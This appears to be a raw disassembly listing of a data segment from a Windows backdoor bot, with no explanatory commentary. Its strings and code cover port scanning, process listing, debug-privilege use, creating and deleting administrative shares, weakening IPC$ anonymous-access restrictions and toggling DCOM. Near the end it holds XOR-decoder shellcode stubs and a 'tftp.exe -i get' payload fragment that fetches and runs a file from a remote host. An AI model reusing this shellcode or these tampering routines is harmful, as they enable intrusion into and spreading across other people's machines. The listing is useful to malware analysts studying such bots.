aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_413B75:loc_413C84o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_413B75:loc_413C7Do
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_413B75:loc_413C76o
		align 10h
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_413B75:loc_413C59o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_413B75:loc_413C52o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_413B75:loc_413C4Bo
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_413B75+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_413B75:loc_413C20o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_413B75:loc_413C19o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_413B75:loc_413C12o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_413B75:loc_413C08o
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_413B75+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_413B75:loc_413BE2o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_413B75:loc_413BD8o
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_413B75:loc_413BCEo
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_413B75:loc_413BC4o
		align 10h
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_413B75:loc_413BBAo
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_413B75+3Bo
		align 4
dword_4373DC	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413CA9+ABo
		dd 2029206Ch, 2BBBB02h
aSServerSMessag	db '  %s <Server: %S> <Message: %S>',0
dword_437418	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413CA9+81o
		dd 2029206Ch, 2BBBB02h
aMessageSentSuc	db '  Message sent successfully.',0
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_413DD2+120o
		align 10h
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_413DD2+5Ao
					; sub_413DD2+19Eo
		align 4
dword_437474	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_413F83:loc_41400Ao
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListFai	db '  Process list failed.',0
		align 4
dword_4374AC	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_413F83+80o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListCom	db '  Process list completed.',0
		align 4
dword_4374E8	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_413F83+19o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h
		dd 72702067h, 7365636Fh, 3A736573h, 0
aConst		db 'const',0
		align 4
		dd 0
dword_43752C	dd 1			; DATA XREF: sub_414433+7o
off_437530	dd offset sub_4140C8	; DATA XREF: sub_414433+49r
aLetter		db 'letter',0
		align 10h
		dd 2, 414126h, 706D6F63h, 2 dup(0)
		dd 3, 414173h, 6E756F63h, 797274h, 0
		dd 4, 414211h, 736Fh, 2	dup(0)
		dd 5, 414286h
dword_437584	dd 69257325h, 0		; DATA XREF: sub_4140C8+40o
					; seg000:004141F2o ...
byte_43758C	db 50h			; DATA XREF: seg000:00414195o
					; seg000:004141A2r
		db 43h,	2 dup(0)
dword_437590	dd 7C7325h		; DATA XREF: seg000:00414240o
					; sub_414433+39o
dword_437594	dd 5D73255Bh, 7Ch	; DATA XREF: seg000:0041434Ao
dword_43759C	dd 334B32h		; DATA XREF: seg000:0041433Ao
dword_4375A0	dd 5D64255Bh, 7325h	; DATA XREF: sub_414390+3Ao
dword_4375A8	dd 5D4D5Bh		; DATA XREF: sub_414390+2Co
					; sub_414390+57o
unk_4375AC	db    2			; DATA XREF: sub_41449C+92o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOp_0	db '  IP: %s Port: %d is open.',0
unk_4375E8	db    2			; DATA XREF: sub_414569+41o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanningIpSPor	db '  Scanning IP: %s, Port: %d.',0
		align 4
off_437628	dd offset dword_437660	; DATA XREF: sub_4146BA+1B3o
					; sub_4149DE+17Ao
		align 10h
		dd offset dword_437658
		align 8
off_437638	dd offset dword_437654	; DATA XREF: sub_4149DE+1E3o
		dd offset dword_437650
		dd offset dword_43764C
		dd offset dword_437648
dword_437648	dd 5C3A44h		; DATA XREF: sub_4146BA+217o
					; seg000:00437644o
dword_43764C	dd 2444h		; DATA XREF: seg000:00437640o
dword_437650	dd 5C3A43h		; DATA XREF: seg000:0043763Co
dword_437654	dd 2443h		; DATA XREF: seg000:off_437638o
dword_437658	dd 494D4441h, 244Eh	; DATA XREF: seg000:00437630o
dword_437660	dd 24435049h, 0		; DATA XREF: seg000:off_437628o
unk_437668	db    2			; DATA XREF: sub_4146BA+2E5o
					; sub_4149DE+2D8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetapi32_dllCo	db ' Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_4376AC	db    2			; DATA XREF: sub_4146BA+2CFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesD	db ' Network shares deleted.',0
		align 4
unk_4376E8	db    2			; DATA XREF: sub_4146BA:loc_41491Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDelete	db ' Failed to delete ',27h,'%S',27h,' share.',0
		align 4
unk_437728	db    2			; DATA XREF: sub_4146BA+25Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDeleted_	db ' Share ',27h,'%S',27h,' deleted.',0
		align 10h
unk_437760	db    2			; DATA XREF: sub_4146BA:loc_414889o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDele_0	db ' Failed to delete ',27h,'%s',27h,' share.',0
		align 10h
unk_4377A0	db    2			; DATA XREF: sub_4146BA+1C8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDelete_0	db ' Share ',27h,'%s',27h,' deleted.',0
		align 4
unk_4377D8	db    2			; DATA XREF: sub_4146BA:loc_4147ECo
					; sub_4149DE:loc_414B0Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAdvapi32_dllCo	db ' Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_43781C	db    2			; DATA XREF: sub_4146BA:loc_4147E5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenIp	db ' Failed to open IPC$ Restriction registry key.',0
		align 4
unk_43786C	db    2			; DATA XREF: sub_4146BA:loc_4147C7o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aRestrictedAcce	db ' Restricted access to the IPC$ Share.',0
		align 4
unk_4378B4	db    2			; DATA XREF: sub_4146BA+106o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToRestri	db ' Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_4146BA+EDo
					; sub_4149DE+EDo
		align 4
unk_437918	db    2			; DATA XREF: sub_4146BA+91o
					; sub_4149DE+91o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenDc	db ' Failed to open DCOM registry key.',0
		align 4
dword_43795C	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: sub_4146BA:loc_414727o
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 4F434420h, 6964204Dh
		dd 6C626173h, 2E6465h
unk_43798C	db    2			; DATA XREF: sub_4146BA+66o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDisableDcomFai	db ' Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_4146BA+54o
					; sub_4149DE+54o
		align 10h
word_4379D0	dw 4Eh			; DATA XREF: sub_4146BA+38r
		align 4
unk_4379D4	db    2			; DATA XREF: sub_4149DE+2C0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesA	db ' Network shares added.',0
		align 4
aC_2		db '%c:\',0             ; DATA XREF: sub_4149DE+22Ao
		align 4
aC_3		db '%c$',0              ; DATA XREF: sub_4149DE+219o
unk_437A18	db    2			; DATA XREF: sub_4149DE:loc_414B7Do
					; sub_4149DE:loc_414C4Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToAddSSh	db ' Failed to add ',27h,'%s',27h,' share.',0
		align 4
unk_437A54	db    2			; DATA XREF: sub_4149DE+198o
					; sub_4149DE+266o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSAdded_	db ' Share ',27h,'%s',27h,' added.',0
		align 4
unk_437A88	db    2			; DATA XREF: sub_4149DE:loc_414B05o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpen_0	db ' Failed to open IPC$ restriction registry key.',0
		align 4
unk_437AD8	db    2			; DATA XREF: sub_4149DE:loc_414AE7o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aUnrestrictedAc	db ' Unrestricted access to the IPC$ Share.',0
unk_437B20	db    2			; DATA XREF: sub_4149DE+102o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToUnrest	db ' Failed to unrestrict access to the IPC$ Share.',0
dword_437B70	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: sub_4149DE:loc_414A4Bo
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 4F434420h, 6E65204Dh
		dd 656C6261h, 2E64h
unk_437BA0	db    2			; DATA XREF: sub_4149DE+66o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aEnableDcomFail	db ' Enable DCOM failed.',0
		align 4
word_437BD8	dw 59h			; DATA XREF: sub_4149DE+38r
		align 4

loc_437BDC:				; DATA XREF: sub_414E8C+C4o
		jmp	short loc_437BE0
; ---------------------------------------------------------------------------

loc_437BDE:				; CODE XREF: seg000:loc_437BE0p
		jmp	short loc_437BE5
; ---------------------------------------------------------------------------

loc_437BE0:				; CODE XREF: seg000:loc_437BDCj
		call	loc_437BDE

loc_437BE5:				; CODE XREF: seg000:loc_437BDEj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_437BEA	dw 0FFFFh		; DATA XREF: sub_414E8C+CCw
		db 80h,	73h, 0Eh
byte_437BEF	db 0FFh			; DATA XREF: sub_414E8C+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------

loc_437BF4:				; DATA XREF: sub_414E8C+A2o
		jmp	short loc_437BF8
; ---------------------------------------------------------------------------

loc_437BF6:				; CODE XREF: seg000:loc_437BF8p
		jmp	short loc_437BFD
; ---------------------------------------------------------------------------

loc_437BF8:				; CODE XREF: seg000:loc_437BF4j
		call	loc_437BF6

loc_437BFD:				; CODE XREF: seg000:loc_437BF6j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_437C01	db 0FFh			; DATA XREF: sub_414E8C+AAw
		dw 7380h
		db 0Ch
byte_437C05	db 0FFh			; DATA XREF: sub_414E8C+B0w
		dw 0E243h
		dd 0F9h
dword_437C0C	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_414D15+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_437C70	dd 12h			; DATA XREF: sub_414D15+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_414D15+79o
aJ_0		db 'j',0
		db 0E8h
dword_437C89	dd 17h			; DATA XREF: sub_414D15+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_437C90
		retn
; ---------------------------------------------------------------------------
byte_437C90	db 0E8h			; CODE XREF: seg000:00437C8Dj
dword_437C91	dd 1			; DATA XREF: sub_414D15+45w
byte_437C95	db 0, 6Ah, 0		; DATA XREF: sub_414D15+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_437C9F	dd 0FFFFFFEDh		; DATA XREF: sub_414D15+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h
aThreadList	db '-[Thread List]-',0  ; DATA XREF: sub_415050+10o
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_415221+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_415221+35o
dword_437D20	dd 6E1Bh		; DATA XREF: sub_415539+4w sub_415543r ...
		align 10h
dword_437D30	dd 173Fh		; DATA XREF: sub_415E6C+Dr
		dd 9875h, 9873h
off_437D3C	dd offset sub_415F3B	; DATA XREF: sub_4177FAr
		dd offset nullsub_2
		dd offset nullsub_2
dword_437D48	dd 1B3Fh		; DATA XREF: sub_415FB3+Dr
dword_437D4C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_416435+2o
					; sub_41643E+2o
off_437D60	dd offset sub_417838	; DATA XREF: sub_417BEE+1Cr
dword_437D64	dd 2			; DATA XREF: sub_41CEE0+Er
					; sub_41CF19+46r ...
off_437D68	dd offset aNull_0	; DATA XREF: sub_417D4C:loc_4180B0r
					; sub_417D4C+457r
					; "(null)"
off_437D6C	dd offset aNull		; DATA XREF: sub_417D4C+259r
					; "(null)"
off_437D70	dd offset word_437D7A	; DATA XREF: sub_4159D4+23r
					; sub_4159D4:loc_415A35r ...
		dd offset word_437D7A
		db 2 dup(0)
word_437D7A	dw 20h			; DATA XREF: sub_41E6BD+18r
					; seg000:off_437D70o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_437F7C	dd 1			; DATA XREF: sub_4159D4:loc_4159DCr
					; sub_4159D4:loc_415A20r ...
byte_437F80	db 2Eh			; DATA XREF: sub_419F18:loc_419F58r
					; sub_419F72+4r ...
		align 4
		dd 1, 10h
dword_437F8C	dd 3F8h			; DATA XREF: sub_415E07+5r
					; sub_4174DF+4Dr ...
dword_437F90	dd 14h			; DATA XREF: sub_419C61+2o
off_437F94	dd offset aExp		; DATA XREF: sub_419C61:loc_419C7Er
					; "exp"
		dd 1Dh,	4217A4h, 1Ah, 4217A0h, 1Bh, 421798h, 1Fh, 421790h
		dd 13h,	421788h, 21h, 421780h, 0Eh, 421778h, 0Dh, 421770h
		dd 0Fh,	421768h, 10h, 421760h, 5, 421758h, 1Eh,	421754h
		dd 12h,	421750h, 20h, 42174Ch, 0Ch, 421744h, 0Bh, 42173Ch
		dd 15h,	421734h, 1Ch, 42172Ch, 19h, 421724h, 11h, 42171Ch
		dd 18h,	421714h, 16h, 42170Ch, 17h, 421704h, 22h, 421700h
		dd 23h,	4216FCh, 24h, 4216F8h
dbl_438068	dq 1.797693134862316e308 ; DATA	XREF: sub_41999C+B7r
					; sub_41999C:loc_419A83r ...
		dd 0
		dd 0FFF80000h
dbl_438078	dq 1.797693134862316e308 ; DATA	XREF: sub_41999C+92r
					; sub_41999C:loc_419A5Br ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_438090	dt 2.3562723457267347066e313 ; DATA XREF: sub_419E49+Dr
					; sub_419E49+1Fr
		align 4
tbyte_43809C	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_419E49+31r
		align 4
off_4380A8	dd offset sub_41A2DD	; DATA XREF: sub_415F53+Fw
					; sub_417D4C+3AAr
off_4380AC	dd offset sub_419F72	; DATA XREF: sub_415F53+5w
					; sub_417D4C+3E2r
off_4380B0	dd offset sub_419FD8	; DATA XREF: sub_415F53+14w
					; sub_41AD3D+430r
off_4380B4	dd offset sub_419F18	; DATA XREF: sub_415F53+1Ew
					; sub_417D4C+3CBr
off_4380B8	dd offset sub_419FC0	; DATA XREF: sub_415F53+28w
off_4380BC	dd offset sub_41A2DD	; DATA XREF: sub_415F53+32w
		dd offset sub_41DF02
		align 10h
		dd offset sub_41AB9C
off_4380D4	dd offset sub_41AB9C	; DATA XREF: sub_41ABF2+29r
dword_4380D8	dd 0D2D0920h, 5Dh	; DATA XREF: sub_41AD3D:loc_41B2A4o
dword_4380E0	dd 5Dh,	0		; DATA XREF: sub_41AD3D:loc_41B194o
byte_4380E8	db 1			; DATA XREF: sub_41BFC0+E1r
		db 2, 4, 8
		align 10h
dword_4380F0	dd 3A4h			; DATA XREF: sub_41BFC0+2Fo
dword_4380F4	dd 82798260h, 21h, 0	; DATA XREF: sub_41BFC0+11Dr
dword_438100	dd 0DFA6h		; DATA XREF: sub_41BFC0+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_4381E0	dd 1			; DATA XREF: sub_41BFC0+3Co
					; sub_41C5D7+Co
dword_4381E4	dd 16h			; DATA XREF: sub_41C5D7:loc_41C60Cr
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_438348	dd 0C0000005h		; DATA XREF: sub_41C5D7+19o
					; sub_41C77F+Ar ...
dword_43834C	dd 0Bh			; DATA XREF: sub_41F3C4+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_4383C0	dd 3			; DATA XREF: sub_41C63E+58r
					; sub_41F297+C8r
dword_4383C4	dd 7			; DATA XREF: sub_41C63E+5Er
					; sub_41F297+CDr
dword_4383C8	dd 0Ah			; DATA XREF: sub_41C77F+4r
					; sub_41F3C4+4r
dword_4383CC	dd 8Ch			; DATA XREF: sub_41C63E+82r
					; sub_41C63E+8Fw ...
dword_4383D0	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_417C37:loc_417CF4o
					; sub_41B8B0:loc_41B931o
dword_4383D8	dd 2			; DATA XREF: sub_41CF19+Eo
					; sub_41CF19+28r
off_4383DC	dd offset aR6002FloatingP ; DATA XREF: sub_41CF19+FCr
					; sub_41CF19+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 421AC4h, 9, 421A98h, 0Ah,	421A74h, 10h, 421A48h
		dd 11h,	421A18h, 12h, 4219F4h, 13h, 4219C8h, 18h, 421990h
		dd 19h,	421968h, 1Ah, 421930h, 1Bh, 4218F8h, 1Ch, 4218D0h
		dd 78h,	4218C0h, 79h, 4218B0h, 7Ah, 4218A0h, 0FCh, 4269FCh
		dd 0FFh, 421890h
off_438468	dd offset dword_4697A0	; DATA XREF: sub_41CF19+1Bo
					; sub_41D0D6+55o
		align 10h
		dd offset dword_4697A0
		dd 101h
dword_438478	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D0D6+72o
		dd 1000h, 0
dword_438488	dd 3 dup(0)		; DATA XREF: sub_417C37+50o
					; sub_4187B6+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_4384A8	dd 3 dup(0)		; DATA XREF: sub_417C37+58o
					; sub_4187B6:loc_4187D4o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_4384D8	dd 84h dup(0)		; DATA XREF: sub_41D0D6+9Bo
dword_4386E8	dd 2694h		; DATA XREF: sub_4195FE+3r
					; sub_419651+46r ...
		align 10h
dword_4386F0	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_41DCE2o
dword_438708	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_41DCF8o
dword_438720	dd 7080h		; DATA XREF: sub_41B7EE+76r
					; sub_41E162+5Ew ...
dword_438724	dd 1			; DATA XREF: sub_41B7EE+98r
					; sub_41E162+8Bw ...
dword_438728	dd 0FFFFF1F0h		; DATA XREF: sub_41B7EE:loc_41B8A0r
					; sub_41E162+94w ...
dword_43872C	dd 545350h, 0Fh	dup(0)	; DATA XREF: seg000:off_4387ACo
dword_43876C	dd 544450h, 0Fh	dup(0)	; DATA XREF: seg000:off_4387B0o
off_4387AC	dd offset dword_43872C	; DATA XREF: sub_41E162+BAr
					; sub_41E162+D9r ...
off_4387B0	dd offset dword_43876C	; DATA XREF: sub_41E162+F4r
					; sub_41E162+11Br ...
		align 8
dword_4387B8	dd 0FFFFFFFFh		; DATA XREF: sub_41E162+1Dw
					; sub_41E3C0+1Er ...
